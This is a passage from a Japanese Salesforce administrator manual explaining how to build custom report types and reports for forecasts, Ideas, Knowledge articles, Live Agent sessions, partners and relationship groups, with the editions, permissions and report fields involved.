トを、部下ごとに作成できます。

関連オブジェクトとして
の [商談の分割] が関連
する [売上予測データ]

特定の売上予測品目の商品ファミリ情報を表示します。たとえば、調整情報と最
終売上予測金額と共に、売上予測データの商品ファミリと合計金額を含むサマリー
レポートを、部下ごとに作成できます。

関連オブジェクトとして
の [商談商品] が関連す
る [売上予測データ]

メモ: このレポートタイプには、[商品ファミリ - 収益] および [商品ファミリ -

数量] の売上予測種別のみが表示されます。商談商品が指定されている商談
と指定されていない商談が含まれます。
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レポートを作成する目的主オブジェクト

個人の目標またはチームの目標に関するデータを表示します。レポートタイプに
は、すべてのデフォルト項目を含めることをお勧めします。たとえば、所有者の

売上予測目標

フルネームなどの参照項目を組み込むことができます。レポートを実行するとき
に、自分の名前で絞り込みを行って、自分が作成した目標とそれらに関連する取
引先および所有者を表示できます。

目標達成率を表示します。たとえば、[売上予測目標] と [売上予測データ] を使用
して、カスタムレポートタイプを作成できます。その後、レポートを作成すると

関連オブジェクトとして
の[売上予測データ]が関
連する[売上予測目標] きに、チームの目標と予測収益を完了した売上予測に含め、目標達成率を表示す

るための数式項目を作成します。

メモ: 売上予測種別を削除すると、その売上予測種別を使用するレポートは実行されません。

アイデアレポート
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタムレポートタイプ
を作成または更新する
• 「カスタムレポートタ

イプの管理」

カスタムレポートタイプ
を削除する
• 「すべてのデータの編

集」

カスタムレポートタイプを作成して、ユーザがアイデア、アイデアコメント、
および投票に関するレポートを作成できるようにします。
システム管理者は、カスタムレポートタイプを作成できます。これによりユー
ザはアイデアの状況を分析できます。カスタムレポートタイプによってのみ、
アイデアレポートを使用できます。Salesforce では、サンプルアイデアレポート
や、アイデアの標準レポートフォルダは提供されません。
アイデアレポートのフォルダを作成する手順は、次のとおりです。
1. アイデアのカスタムレポートタイプを作成します。

[アイデア] を主オブジェクトとし、[投票] を第 2 オブジェクトとして使用する
カスタムレポートタイプを作成する場合、[「A」レコードには、関連する「B」
レコードの有無は問われません。]を選択するまでは、子 (マージ済み) アイデ
アはレポートには表示されません。子アイデア対する投票はマスタアイデア
に移行されるため、子アイデアに投票はありません。これは、[投票] オブジェ
クトが要求された場合、子アイデアはレポートには表示されないということ
です。

2. アイデアレポート用の公開フォルダを新規作成します。作成するには、「公
開レポートの管理」権限が必要です。

3. 作成したカスタムレポートタイプを使用して、アイデアの新規カスタムレ
ポートを作成します。そのレポートを、作成したアイデアレポートフォルダ
に格納します。

これらのステップを完了すると、ユーザはレポートのホームページでアイデアレポートのフォルダを使用でき
るようになります。
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Salesforce ナレッジ記事に関するレポート
エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

カスタムレポートタイプ
を作成または更新する
• 「カスタムレポートタ

イプの管理」

公開レポートフォルダを
作成する
• 「公開レポートの管

理」

Salesforce ナレッジカスタムレポートを使用して、記事の作成、メンテナンス、
および配信状況を追跡できます。
システム管理者は、カスタムレポートタイプを作成できます。これによりエー
ジェントが、Salesforce ナレッジ記事に関するレポートを作成できます。カスタ
ムレポートタイプによってのみ、閲覧者が使用できる記事に関するレポートを
作成できます。Salesforce では、サンプル記事レポートや、記事の標準レポート
フォルダは提供されません。

ヒント: 知識ベースのダッシュボードおよびレポート AppExchange パッケー
ジでは、知識ベースを監視し、利用状況総計値の分析に役立つ 20 数個のレ
ポートを提供します。

1. 記事レポートのフォルダの作成
公開フォルダを作成し、ユーザ用の記事レポートを保管します。

2. 記事レポート
カスタムレポートタイプを作成して、Salesforce ナレッジ記事データに関して
レポートします。

3. 記事レポートの作成
Salesforce ナレッジ記事に関するカスタムレポートを実行して、記事レポート
フォルダに保存します。

4. Salesforce ナレッジレポートで使用可能な項目
ナレッジレポートで使用できる項目は、レポートに使用する情報の種別に
よって異なります。

記事レポートのフォルダの作成
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エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

カスタムレポートタイプ
を作成または更新する
• 「カスタムレポートタ

イプの管理」

公開レポートフォルダを
作成する
• 「公開レポートの管

理」

公開フォルダを作成し、ユーザ用の記事レポートを保管します。
1. [レポート] タブの [レポートフォルダ] セクションで、[新規フォルダの作成]

をクリックします。
2. [フォルダ表示ラベル] 項目に「記事レポート」と入力します。
3. 必要に応じて、[グループの一意の名前] を変更します。
4. [公開フォルダのアクセス権] を選択します。

ユーザにレポートの追加と削除ができるようにするには、[参照・更新] を選
択します。

5. フォルダの利用者オプションを選択します。
6. [保存] をクリックします。
このフォルダに保存したレポートは、[レポート] タブに表示されます。

記事レポート
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エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

カスタムレポートタイプ
を作成または更新する
• 「カスタムレポートタ

イプの管理」

公開レポートフォルダを
作成する
• 「公開レポートの管

理」

カスタムレポートタイプを作成して、Salesforce ナレッジ記事データに関してレ
ポートします。
カスタムレポートを作成する手順は、次のとおりです。
1. [設定] から、[クイック検索]ボックスに「レポートタイプ」と入力し、[レポー

トタイプ] を選択して、[新規カスタムレポートタイプ] をクリックします。
「カスタムレポートタイプの作成」 (ページ 466)を参照してください。

2. [主オブジェクト] ドロップダウンリストで、レポートを作成する記事関連オ
ブジェクトを選択します。

説明主オブジェクト

作成日、公開チャネル、および FAQ のようなカス
タム記事タイプに関連するケースの数などの情報
を比較します。カスタム記事タイプの履歴項目や
カスタム項目にアクセスするには、記事タイプの
バージョンを第 2 オブジェクトとして追加しま
す。

記事タイプ (Classic ナレッ
ジのみ)

作成日、公開チャネル、関連ケース数など、各記
事に関する情報を比較します。このカスタムレ
ポートタイプを選択すると、記事の表示と投票に
関する統計情報も含めることができます。ナレッ
ジ記事の主オブジェクトを使用するレポートで
は、記事ごとに 5 つのレコード (行)、チャネル (す
べてのチャネル、内部アプリケーション、カスタ
マー、パートナー、公開知識ベース) ごとに 1 つ
のレコードが割り当てられています。

ナレッジ記事

チャネルおよびロールごとに 1 日、1 か月、1 年の
単位で検索数を分析します。

ナレッジ記事の検索

作成日、公開チャネル、関連ケース数など、各翻
訳に関する情報を比較します。このカスタムレ

ナレッジ記事のバージョ
ン

ポートタイプを選択すると、記事の表示と投票に
関する統計情報も含めることができます。

作成日、公開チャネル、関連ケース数など、各記
事バージョンに関する情報を比較します。

記事バージョン履歴

チャネルおよびロールごとに 1 日、1 か月、1 年の
単位で表示数を分析します。

ナレッジ記事ビュー

チャネルおよびロールごとに 1 日、1 か月、1 年の
単位で投票数を分析します。

ナレッジ記事の投票

知識ベースの検索に使用されているキーワードを
表示します。

ナレッジのキーワード検
索
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ナレッジ検索活動 • チャネルおよび言語ごとに 1 日、1 か月、または 1 年単位で検索数
を分析します。

• 検索ごとに、次の内容が表示されます。
– 日付
– クリックされた記事の ID とタイトル

• 知識ベースの検索に使用されているキーワードを表示します。
• キーワードごとに、次の平均値が表示されます。

– 結果
– 検索結果に表示される記事

• 記事ごとに、次の平均値が表示されます。
– クリック数
– クリックしたユニークユーザ数

3. 必要な項目を入力して [保存] をクリックします。
[カテゴリ] ドロップダウンメニューの [保存] で、[カスタマーサポートレポート] または [その他のレポート]

を選択することをお勧めします。このカテゴリでは、[レポート] タブでカスタムレポートタイプを検索し
ます。

4. [レポートレコードセットを定義] ページで必要な選択を行います。

使用可能な第 2 オブジェクト主オブジェクト

記事タイプのバージョン記事タイプ (Classic ナレッジのみ)

記事ビューの統計、記事投票の統計、ケース記事ナレッジ記事

なしナレッジ記事の検索

記事ビューの統計、記事投票の統計ナレッジ記事のバージョン

なし記事バージョン履歴

なしナレッジ記事ビュー

なしナレッジ記事の投票

なしナレッジのキーワード検索

なしナレッジ検索活動

5. [保存] をクリックします。
6. 必要に応じて、レポートレイアウトから項目を削除し、並び替えます。
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主オブジェクトで使用可能な項目についての詳細は、「Salesforce ナレッジレポートで使用可能な項目」
(ページ 4868)を参照してください。

メモ: 記事のスコアの API での計算は、カスタムレポートでは若干異なります。どちらか一方で標準化
し、両方は使用しないようにすることをお勧めします。

記事レポートの作成
エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

カスタムレポートタイプ
を作成または更新する
• 「カスタムレポートタ

イプの管理」

公開レポートフォルダを
作成する
• 「公開レポートの管

理」

Salesforce ナレッジ記事に関するカスタムレポートを実行して、記事レポートフォ
ルダに保存します。
カスタムレポートタイプを使用して、記事レポートを作成し、それを記事レポー
トフォルダに保存します。
1. [レポート] タブで、[新規レポート] をクリックします。
2. [カスタマーサポートレポート] または [その他のレポート] など、カスタムレ

ポートタイプを保存するカテゴリを選択します。
記事レポートがあるケースは、デフォルトでカスタマーサポートレポート
フォルダで使用可能です。

3. レポートタイプを検索し、[作成] をクリックします。
4. レポートを参照するとき、そのレポートを他のユーザにも使用可能にする場

合は、[別名で保存] をクリックし、レポートを新しい「記事レポート」フォ
ルダに保存します。

メモ:

• ナレッジ記事カスタムレポートタイプを使用するレポートでは、記事ご
とに 5 つの行が割り当てられています (「すべてのチャネル」を含む、
チャネルごとに 1 つの行)。

• 毎日の値は過去 90 日間、毎月の値は過去 18 か月間にわたって独立して
報告されます。この期間が経過したら、それぞれ毎月および毎年の集計
値を使用します。

• ナレッジ記事投票、ナレッジ記事ビュー、ナレッジ記事検索カスタムレ
ポートタイプを使用するレポートの、各レコード (行) は 1 日、チャネ
ル、ロールの組み合わせを表示します。たとえば、Kingmaker ロールを持
つ閲覧者が内部アプリケーションの記事を参照し、次の日同じ閲覧者が
内部アプリケーションでさらに記事を参照した場合、記事ビューレポー
トには、2 つの行が記載されます。それぞれ一意の日付を示します。

• ナレッジの記事バージョン履歴を除く、ナレッジの記事バージョン (KAV)

を使用するレポートでは、データカテゴリで絞り込むことができます。
最大 4 個の検索条件を追加し、ロジックを「AT」、「ABOVE」、
「BELOW」、「ABOVE OR BELOW」に設定できます。検索条件間のロジッ
クは、「OR」です。同じカテゴリグループを複数回使用できますが、毎
回同じ演算子を使用する必要があります。

• ナレッジ記事の承認プロセスについてレポートするには、カスタムレ
ポートタイプを作成するときに [プロセスインスタンス] および [プロセ
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スインスタンスノード]を使用します。次に、記事タイプであるオブジェクト種別に関するレポートを
絞り込みます。

Salesforce ナレッジレポートで使用可能な項目
エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce ナレッジを使用
可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

カスタムレポートタイプ
を作成または更新する
• 「カスタムレポートタ

イプの管理」

公開レポートフォルダを
作成する
• 「公開レポートの管

理」

ナレッジレポートで使用できる項目は、レポートに使用する情報の種別によっ
て異なります。
次の表には、Salesforce ナレッジレポートの主オブジェクトごとに使用可能な項
目が表示されています。
記事タイプ (Classic ナレッジのみ) レポートで使用可能な項目
記事タイプの主オブジェクトを使用して、記事タイプバージョンの第 2 オブジェ
クトを追加できます。

表 70 : 記事タイプレポートの主オブジェクト項目
説明項目

記事をアーカイブしたユーザ。アーカイブ作成者

記事がアーカイブされた日付。アーカイブ日

記事に自動的に割り当てられる固有番号。記事番号

記事タイプに関連付けられた ID。記事タイプ ID

記事に添付されたケース数。ケース関連付け件数

記事を作成したユーザ。作成者

現在の記事バージョンが作成された日付。記事が 2 回以
上公開された場合、これがドラフトの最新の日付にな
ります。記事バージョンの元の作成日を使用するレポー
トを作成するには、まず、ナレッジ記事バージョンレ
コードの作成日ではなく、ナレッジ記事オブジェクト
レコードの作成日を使用できるようにするため、特定
の記事タイプのナレッジ記事 (__ka) オブジェクトとナ
レッジ記事バージョン (__kav) オブジェクトを結合する
カスタムレポートタイプを作成します。

作成日

記事タイプに作成されたカスタム項目。記事タイプの
バージョンを第 2 オブジェクトとして追加し、記事タイ
プのカスタム項目にアクセスします。

カスタム項目

記事が初めて公開された日付。初公開日

記事のバージョン番号。ナレッジの記事バー
ジョン

最近記事を変更したユーザ。最終更新者
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説明項目

記事が最後に変更された日付。ドラフト記事の最終更新日は、ドラフトが保
存された日付です。公開記事の最終更新日は、記事が最後に公開された日付
です。

最終更新日

記事が最後に公開された日付。最終公開日

記事の元の言語。マスタ言語

メモ: 現在、同じレポートで [ナレッジ記事のバージョン]と [最終更新日]を使用することはできません。

表 71 : 記事タイプレポートの第 2 オブジェクト項目
説明項目

記事をアーカイブしたユーザ。アーカイブ作成者

記事に関連付けられた記事タイプ。記事タイプ

記事を作成したユーザ。作成者

現在の記事バージョンが作成された日付。記事が 2 回以上公開された場合、
これがドラフトの最新の日付になります。記事バージョンの元の作成日を使

作成日

用するレポートを作成するには、まず、ナレッジ記事バージョンレコードの
作成日ではなく、ナレッジ記事オブジェクトレコードの作成日を使用できる
ようにするため、特定の記事タイプのナレッジ記事 (__ka) オブジェクトとナ
レッジ記事バージョン (__kav) オブジェクトを結合するカスタムレポートタイ
プを作成します。

記事タイプに作成されたカスタム項目。記事タイプのバージョンを第 2 オブ
ジェクトとして追加し、記事タイプのカスタム項目にアクセスします。

カスタム項目

記事が最新バージョンであるかを示します。最新バージョン

記事が翻訳ではなく、元の記事であることを示します。マスタ言語

記事翻訳に自動的に割り当てられる一意の ID。ナレッジの記事バージョン ID

記事の言語。言語

最近記事を変更したユーザ。最終更新者

記事が最後に変更された日付。ドラフト記事の最終更新日は、ドラフトが保
存された日付です。公開記事の最終更新日は、記事が最後に公開された日付
です。

最終更新日

この翻訳が公開された後にマスタ記事が更新されていることを示します。変更あり

記事または翻訳が処理中 (ドラフト)、公開、またはアーカイブ済みであるこ
とを示します。

公開状況
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説明項目

著者が提供する記事の説明。概要

記事のタイトル。役職

翻訳が完了した日付。翻訳完了日

記事が翻訳用にエクスポートされた日付。翻訳エクスポート日

翻訳がインポートされた日付。翻訳インポート日

記事のハイパーリンクとして使用されるテキスト。URL 名

記事が有効かどうかを示します。検証状況

記事のバージョン番号。バージョン番号

記事がカスタマーポータルに公開されていることを示します。カスタマーに公開

記事が内部アプリケーション ([記事] タブ) に公開されていることを示します。内部アプリケーションに公開

記事がパートナーポータルに公開されていることを示します。パートナーに公開

記事が公開知識ベースに公開されていることを示します。公開知識ベースに公開

ナレッジ記事レポートで使用可能な項目

説明項目

記事に自動的に割り当てられる固有番号。記事番号

記事に関連付けられた記事タイプ。記事タイプ

記事に添付されたケース数。ケース関連付け件数

記事を作成したユーザ。作成者

現在の記事バージョンが作成された日付。記事が 2 回以上公開された場合、
これがドラフトの最新の日付になります。記事バージョンの元の作成日を使

作成日

用するレポートを作成するには、まず、ナレッジ記事バージョンレコードの
作成日ではなく、ナレッジ記事オブジェクトレコードの作成日を使用できる
ようにするため、特定の記事タイプのナレッジ記事 (__ka) オブジェクトとナ
レッジ記事バージョン (__kav) オブジェクトを結合するカスタムレポートタイ
プを作成します。

記事が初めて公開された日付。初公開日

記事が最新バージョンであるかを示します。最新バージョン

記事翻訳に自動的に割り当てられる一意の ID。ナレッジの記事バージョン ID

最近記事を変更したユーザ。最終更新者
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説明項目

記事が最後に変更された日付。ドラフト記事の最終更新日は、ドラフトが保
存された日付です。公開記事の最終更新日は、記事が最後に公開された日付
です。

最終更新日

記事が最後に公開された日付。最終公開日

著者が提供する記事の説明。概要

記事のタイトル。役職

記事のハイパーリンクとして使用されるテキスト。URL 名

記事が有効かどうかを示します。検証状況

記事のバージョン番号。バージョン番号

記事がカスタマーポータルに公開されていることを示します。カスタマーに公開

記事が内部アプリケーション ([記事] タブ) に公開されていることを示します。内部アプリケーションに公開

記事がパートナーポータルに公開されていることを示します。パートナーに公開

記事が公開知識ベースに公開されていることを示します。公開知識ベースに公開

ナレッジ記事の検索レポートで使用可能な項目

説明項目

記事に適用できるチャネル。使用できる値は、すべてのチャネル、内部アプリ
ケーション、顧客、パートナー、公開知識ベース です。

チャネル

表示される期間 (日、月、年) に適用できる記事検索の数。計

レコードの履歴に対する記事検索の合計数。累計

レコードに対して記事検索が実行された最終日。すべての行は、日付、チャ
ネル、およびロールの組み合わせを示します。

日付

検索カウントが適用される期間。使用できる値は、毎日、毎月、および毎年
です。たとえば、[計] が「70」で [期間] が [毎月] のレコードは、過去の月で

期間

70 の検索が実行されたことを意味します。合計は、当月分については毎日、
過去 1 か月～過去 1 年分については毎月、その後は毎年集計されます。

レコードに適用される役割名。レポート内の各行が、ロール、チャネルあた
りの検索を示しています。

関連ロール

ナレッジ記事のバージョンレポートで使用可能な項目
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説明項目

記事をアーカイブしたユーザ。アーカイブ作成者

記事がアーカイブされた日付。アーカイブ日

記事に自動的に割り当てられる固有番号。記事番号

記事に関連付けられた記事タイプ。記事タイプ

記事に添付されたケース数。ケース関連付け件数

記事を作成したユーザ。作成者

現在の記事バージョンが作成された日付。記事が 2 回以上公開された場合、
これがドラフトの最新の日付になります。記事バージョンの元の作成日を使

作成日

用するレポートを作成するには、まず、ナレッジ記事バージョンレコードの
作成日ではなく、ナレッジ記事オブジェクトレコードの作成日を使用できる
ようにするため、特定の記事タイプのナレッジ記事 (__ka) オブジェクトとナ
レッジ記事バージョン (__kav) オブジェクトを結合するカスタムレポートタイ
プを作成します。

記事が初めて公開された日付。初公開日

記事が最新バージョンであるかを示します。最新バージョン

記事が翻訳ではなく、元の記事であることを示します。マスタ言語

記事翻訳に自動的に割り当てられる一意の ID。ナレッジの記事バージョン ID

記事の言語。言語

最近記事を変更したユーザ。最終更新者

記事が最後に変更された日付。ドラフト記事の最終更新日は、ドラフトが保
存された日付です。公開記事の最終更新日は、記事が最後に公開された日付
です。

最終更新日

記事が最後に公開された日付。記事が最後に公開された日
付。

記事の元の言語。マスタ言語

この翻訳が公開された後にマスタ記事が更新されていることを示します。変更あり

記事または翻訳が処理中 (ドラフト)、公開、またはアーカイブ済みであるこ
とを示します。

公開状況

著者が提供する記事の説明。概要

記事のタイトル。役職

翻訳が完了した日付。翻訳完了日

記事が翻訳用にエクスポートされた日付。翻訳エクスポート日
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説明項目

翻訳がインポートされた日付。翻訳インポート日

記事のハイパーリンクとして使用されるテキスト。URL 名

記事が有効かどうかを示します。検証状況

記事のバージョン番号。バージョン番号

記事がカスタマーポータルに公開されていることを示します。カスタマーに公開

記事が内部アプリケーション ([記事] タブ) に公開されていることを示します。内部アプリケーションに公開

記事がパートナーポータルに公開されていることを示します。パートナーに公開

記事が公開知識ベースに公開されていることを示します。公開知識ベースに公開

ナレッジ記事ビューレポートで使用可能な項目
以下の 8 個の項目のうち最大 6 個を追加できます。

説明項目

記事に適用できるチャネル。使用できる値は、すべてのチャネル、内部アプリ
ケーション、顧客、パートナー、公開知識ベース です。

チャネル

表示される期間 (日、月、年) に適用できる記事ビューの数。計

レコードの履歴に対する記事ビューの合計数。累計

レコードに対して記事ビューが実行された最終日。すべての行は、日付、
チャネル、およびロールの組み合わせを示します。

日付

検索カウントが適用される期間。使用できる値は、毎日、毎月、および毎年
です。たとえば、[計] が「70」で [期間] が [毎月] のレコードは、過去の月で

期間

70 の検索が実行されたことを意味します。合計は、当月分については毎日、
過去 1 か月～過去 1 年分については毎月、その後は毎年集計されます。

レコードに適用される役割名。関連ロール

記事の平均ビュー評価。スコアには半減期が考慮されます。15 日ごとに、記
事が参照されなかった場合、平均評価は上下します。この計算は、長期間に

スコア

わたって古いまたは期限切れの記事が、より新しく頻繁に参照される記事に
比べて高評価または低評価を人為的に維持できないようにします。

公開済み記事が表示された回数。ビューの合計数

ナレッジ記事の投票レポートで使用可能な項目
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説明項目

記事に適用できるチャネル。使用できる値は、すべてのチャネル、内部アプリ
ケーション、顧客、パートナー、公開知識ベース です。

チャネル

表示される期間 (日、月、年) に適用できる記事投票の数。計

レコードの履歴に対する記事投票の合計数。累計

レコードに対して記事投票が実行された最終日。すべての行は、日付、チャ
ネル、およびロールの組み合わせを示します。

日付

検索カウントが適用される期間。使用できる値は、毎日、毎月、および毎年
です。たとえば、[計] が「70」で [期間] が [毎月] のレコードは、過去の月で

期間

70 の検索が実行されたことを意味します。合計は、当月分については毎日、
過去 1 か月～過去 1 年分については毎月、その後は毎年集計されます。

レコードに適用される役割名。関連ロール

ナレッジのキーワード検索レポートで使用可能な項目

説明項目

記事に適用できるチャネル。使用できる値は、すべてのチャネル、内部アプリ
ケーション、顧客、パートナー、公開知識ベース です。

チャネル

表示される期間 (日、月、年) に適用できるキーワード検索の数。計

レコードに対してキーワード検索が実行された最終日。すべての行は、日
付、チャネル、およびロールの組み合わせを示します。

日付

検索カウントが適用される期間。使用できる値は、毎日、毎月、および毎年
です。たとえば、[計] が「70」で [期間] が [毎月] のレコードは、過去の月で

期間

70 の検索が実行されたことを意味します。合計は、当月分については毎日、
過去 1 か月～過去 1 年分については毎月、その後は毎年集計されます。

知識ベースの検索中に、表示したキーワードが見つかったかどうかを示しま
す。

見つかりました

知識ベース内の公開記事の検索に使用する検索語。キーワード

ナレッジ検索活動レポートで使用可能な項目

説明項目

結果が関連性の順に並び替えられたとき、および閲覧者が検索結果のリスト
で記事をクリックしたときに、検索結果に記事が表示される順序。

平均クリック順位

4874

レポート分析



説明項目

記事に適用できるチャネル。使用できる値は、すべてのチャネル、内部アプリ
ケーション、顧客、パートナー、公開知識ベース です。

チャネル

閲覧者が検索結果を関連性の順に並べ替えたときに表示される、クリックさ
れた記事のタイトル。

クリックされた記事のタイトル

検索カウントが適用される期間。使用できる値は、毎日、毎月、および毎年
です。たとえば、[計] が「70」で [期間] が [毎月] のレコードは、過去の月で

期間

70 の検索が実行されたことを意味します。合計は、当月分については毎日、
過去 1 か月～過去 1 年分については毎月、その後は毎年集計されます。

メモ: 活動合計は夜間に収集されるため、リアルタイムではありませ
ん。

閲覧者の検索に適用される言語条件。言語

検索語に対して返された検索結果の数。[期間] も含めた場合は、指定した期
間に基づいてこの値が集計されます。

結果数

表示される期間 (日、月、年) の検索数。検索数

記事をクリックした個々のユーザ数。ユーザ数

検索の日付。検索の日付

知識ベース内の公開記事の検索に使用された検索語の最初の 100 文字。検索語

Salesforce ナレッジ検索活動カスタムレポートタイプの作成: ウォークスルー
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エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

カスタムレポートタイプ
を作成または更新する
• 「カスタムレポートタ

イプの管理」

公開レポートフォルダを
作成する
• 「公開レポートの管

理」

このウォークスルーでは、ナレッジ検索活動オブジェクトをサポートするカス
タムレポートタイプの作成方法について説明します。このデータは、ナレッジ
マネージャがコンテンツのパフォーマンスを監視する方法、およびエンドユー
ザに最も関連するコンテンツを配信する方法を特定するときに役立ちます。
ナレッジ検索活動レポートタイプの作成
ユーザはこのレポートタイプを使用して、コンテンツのパフォーマンスを監視
するために必要な [ナレッジ検索] 項目のあるレポートを作成できます。

段階的な手順: ナレッジ検索活動カスタムレポートタイプ
1. [新規カスタムレポートタイプ] をクリックします。
2. [ナレッジ検索活動] を選択します。
3. レポートタイプの名前を入力します。

ユーザはこのレポートタイプを使用してレポートを新規作成するときに、こ
の名前でレポートタイプを選択します。

4. 説明を入力します。
この説明を参考に、ユーザが新しいレポートタイプのビジネス上の用途を認
識します。「検索結果にあるナレッジ記事のコンテンツのパフォーマンスを
監視する」と入力することが考えられます。

5. カテゴリを選択します。
ユーザがレポートを新規作成するときに、このカテゴリで新しいレポートタ
イプを見つけます。

6. [リリース済み] を選択します。
レポートタイプはすぐに有効にできます。

7. [次へ] をクリックします。
もう一息で終了です。

8. [保存] をクリックします。
9. [レイアウトを編集する] をクリックします。

このレポートタイプを使用して作成されたレポートで使用できる項目をカスタマイズします。
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Live Agentセッションレポート
エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

Live Agent セッションレポートは、顧客とチャットをしているときのエージェン
トの活動に関するデータ (エージェントのオンライン時間やエージェントに割り
当てられているチャット要求数など) を統合する場合に使用します。
レポートタイプは、主オブジェクトとその関連オブジェクトとの関係に基づい
て、レポートで使用するレコードと項目のセットを定義するものです。レポー
トには、レポートタイプで定義された条件を満たすレコードのみが表示されま
す。Live Agent セッションのカスタムレポートタイプを作成し、顧客をサポート
しているときのエージェントの活動に関するデータを集計できます。これらの
レポートには、特定の Live Agent セッション中に発生したすべてのチャットの
データが含まれます。
次のいずれかのカテゴリ、および Live Agent セッションに関連するカスタム項目
に関する情報の列を含めるように Live Agent セッションレポートをカスタマイズ
します。

説明列の名前

セッションに関連付けられたエージェントの名前。エージェント: 氏名

Live Agent セッション中にエージェントが支援フラグ
を無効化した回数。

支援フラグを無効化済
み (エージェント)

エージェントの Live Agent セッション中にスーパーバ
イザが支援フラグを無効化した回数。

支援フラグを無効化済
み (スーパーバイザ)

Live Agent セッション中にエージェントが支援フラグ
を有効化した回数。

支援フラグを有効化済
み

エージェントに割り当てられたチャット要求の数。割り当てられたチャッ
ト要求

エージェントによって、手動で却下されたチャット
要求の数。

拒否されたチャット要
求 (手動)

エージェントへの割り当て中にタイムアウトした
チャット要求の数。

拒否されたチャット要
求 (転送タイムアウト)

セッション中にエージェントが参加したチャットの
数。

参加中のチャット要求

セッションレコードの作成者の氏名。作成者: 氏名

セッションレコードが作成された日付。作成日

セッションレコードを最後に変更した人の氏名。最終更新者: 氏名

セッションレコードが最後に変更された日付。最終更新日

Live Agent セッションレコードの ID。Live Agent セッション ID

自動的に生成された Live Agent セッション ID。Live Agent セッション名
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エージェントがセッションにログインした日時。ログイン時刻

エージェントがセッションからログアウトした日時。ログアウト時刻

セッション中にエージェントがチャットに参加した合計時間 (秒単位)。
エージェントのアイドル時間は、「(オンライン経過時間 + 退席中経過時
間) - チャット経過時間 = アイドル時間」という式で計算されます。

アイドル時間

エージェントのキューが満杯であった合計時間 (秒単位)。参加可能人数での経過時間

エージェントが「退席中」状況で経過した合計時間 (秒単位)。退席中経過時間

エージェントがチャットに参加した合計時間 (秒単位)。チャット経過時間

エージェントがオンラインであった合計時間 (秒単位)。オンライン経過時間

パートナーに関するレポート
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

パートナーについてレ
ポートする
• 取引先または商談に対

する「参照」

および

「レポート実行」

一部の商談にはパートナー関係が関与します。このレポートを使用して、パー
トナー関係を特定および分析します。
商談にかかわっているすべてのパートナーまたは主パートナーに関するレポー
トを作成する手順は、次のとおりです。
1. [レポート] タブで、[パートナー商談一覧] レポートを選択します。
2. レポートを変更し、主パートナー関係だけを表示するには、[カスタマイズ]

を選択します。「主」「次の文字列と一致する」「1」となる検索条件項目を
追加します。

その他の商談レポートでは、[パートナー] 列が表示されるようにレポートをカス
タマイズすると、主パートナーだけが表示されます。
取引先パートナー一覧レポートを作成して、取引先とのパートナー関係を分析
することもできます。
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リレーショングループに関するレポート
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Salesforce for Wealth
Management

ユーザ権限

カスタムレポートタイプ
を作成または更新する
• 「カスタムレポートタ

イプの管理」

カスタムレポートタイプ
を削除する
• 「すべてのデータの編

集」

システム管理者がリレーショングループおよびリレーショングループメンバー
のカスタムオブジェクトのカスタムレポートタイプを有効にしている場合は、
リレーショングループおよびリレーショングループメンバーに関するレポート
を作成することができます。
カスタムレポートタイプによってのみ、リレーショングループレポートを使用
できます。Salesforce では、サンプルリレーショングループレポートや、リレー
ショングループの標準レポートフォルダを提供していません。
システム管理者は、次の手順で、リレーショングループレポート用の公開フォ
ルダを作成できます。
1. リレーショングループオブジェクトのカスタムレポートタイプを作成しま

す。

ヒント: リレーショングループのメンバーに関するレポートタイプを作
成するには、主レポートタイプのオブジェクトとして [リレーショング
ループ] を選択し、オブジェクトリレーションとして [リレーショング
ループメンバー] を追加します。また、リレーショングループの主担当
である取引先に関するレポートタイプを作成するには、主レポートタイ
プオブジェクトとして [取引先] を選択し、オブジェクトリレーション
として [リレーショングループ (主取引先)] を追加します。

2. リレーショングループレポート用の公開フォルダを新規作成します。作成するには、「公開レポートの管
理」権限が必要です。

3. 作成したカスタムレポートタイプを使用して、1 つ以上のリレーショングループの新規カスタムレポートを
作成します。そのレポートを、作成したリレーショングループレポートフォルダに格納します。

これらのステップを完了すると、ユーザはレポートのホームページでリレーショングループレポートのフォル
ダを使用できるようになります。
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取引先所有者レポートの有効化
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
